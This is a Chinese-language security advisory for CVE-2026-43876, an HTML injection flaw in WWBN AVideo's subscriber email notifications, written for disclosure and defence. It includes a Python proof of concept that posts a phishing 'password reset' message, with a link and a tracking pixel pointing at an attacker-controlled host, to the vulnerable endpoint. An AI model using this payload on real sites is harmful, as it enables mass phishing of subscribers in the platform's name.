IPBUF安全漏洞报告
English
CVE-2026-43876 CVSS 6.4 中危

CVE-2026-43876: WWBN AVideo 邮件通知HTML注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43876
漏洞类型
HTML注入 / 存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

HTML注入XSSWWBN AVideoEmail SpoofingCWE-79CVE-2026-43876

漏洞概述

WWBN AVideo是一个广泛使用的开源视频平台。在29.0及以下版本中,系统存在一处严重的安全缺陷,位于处理订阅者通知的`objects/notifySubscribers.json.php`文件中。该漏洞允许拥有上传权限的认证用户,在通过平台向订阅者发送通知时,绕过安全过滤。攻击者可以在消息内容中注入恶意的HTML代码,由于系统未对`$_POST['message']`参数进行任何清理或转义,这些代码会被直接嵌入到HTML邮件模板中。最终,包含攻击者载荷的邮件将通过PHPMailer以平台官方的名义发送给所有频道的订阅者。这使得攻击者能够进行大规模的钓鱼攻击、植入追踪像素或通过CSS进行界面伪装,严重威胁用户的数据安全和隐私。

技术细节

该漏洞的根本原因在于服务器端对用户输入数据处理的缺失。在受影响的AVideo版本中,`objects/notifySubscribers.json.php`接口接收用户提交的POST请求,并直接提取其中的`message`字段。随后,该未经净化的数据被传递给`sendSiteEmail()`函数。该函数使用PHP的`str_replace()`方法,将攻击者提供的消息内容直接替换HTML邮件模板中的`{message}`占位符。处理后的HTML字符串随后交由`PHPMailer::msgHTML()`进行渲染和发送。

由于整个流程中缺乏HTML实体编码(如`htmlspecialchars`)或输入验证,攻击者可以构造包含恶意标签(如`<a>`、`<img>`、`<div>`等)的载荷。虽然邮件客户端的JavaScript执行环境受限,但HTML注入足以支持钓鱼链接注入、图片追踪(确认邮箱活跃度)以及CSS覆盖攻击。由于CVSS向量包含S:C(范围改变),该漏洞的影响从Web应用程序扩展到了用户的邮件客户端环境。攻击者利用平台作为信任代理,利用官方Logo和发件人地址,极大地提高了社会工程学攻击的成功率。

攻击链分析

STEP 1
1. 获取权限
攻击者在WWBN AVideo平台注册账号或利用现有账号,获取具有上传权限的低权限用户身份。
STEP 2
2. 构造载荷
攻击者构造包含恶意HTML代码(如钓鱼链接、追踪图片)的POST请求数据,目标字段为`message`。
STEP 3
3. 发送请求
攻击者向`objects/notifySubscribers.json.php`端点发送带有恶意载荷的HTTP POST请求。
STEP 4
4. 服务器处理
服务器端脚本未对输入进行过滤,直接将恶意HTML通过`str_replace`嵌入邮件模板,并调用PHPMailer发送。
STEP 5
5. 执行攻击
频道订阅者收到带有平台官方Logo和签名的邮件,邮件内容渲染攻击者注入的HTML,导致用户被钓鱼或隐私泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target-site/objects/notifySubscribers.json.php" # Attacker's session cookie (User must be authenticated with upload permissions) cookies = { "PHPSESSID": "valid_session_id_here" } # Malicious HTML Payload # This payload includes a phishing link and a tracking pixel html_payload = """ <div style="background-color:#f0f0f0;padding:20px;border:1px solid #ccc;"> <h2>Security Alert: Password Reset Required</h2> <p>Dear User,</p> <p>We detected suspicious activity. Please update your password immediately.</p> <a href="http://attacker-controlled-site.com/phishing" style="color:red;font-weight:bold;">Click here to Reset</a> <br><br> <!-- Tracking pixel to verify email delivery/opening --> <img src="http://attacker-controlled-site.com/track.png" width="1" height="1" alt=""> </div> """ # POST data to the vulnerable endpoint payload_data = { "message": html_payload, "subject": "Urgent: System Security Update", # other required parameters by the endpoint } try: response = requests.post(target_url, cookies=cookies, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Subscribers should have received the malicious email.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
在未升级补丁前,建议管理员暂时禁用普通用户的“订阅者通知”功能,或修改`objects/notifySubscribers.json.php`代码,强制对`$_POST['message']`使用`htmlspecialchars()`进行转义处理。同时,应加强对用户的教育,警惕即使是来自官方域名的邮件中包含的可疑链接。

参考链接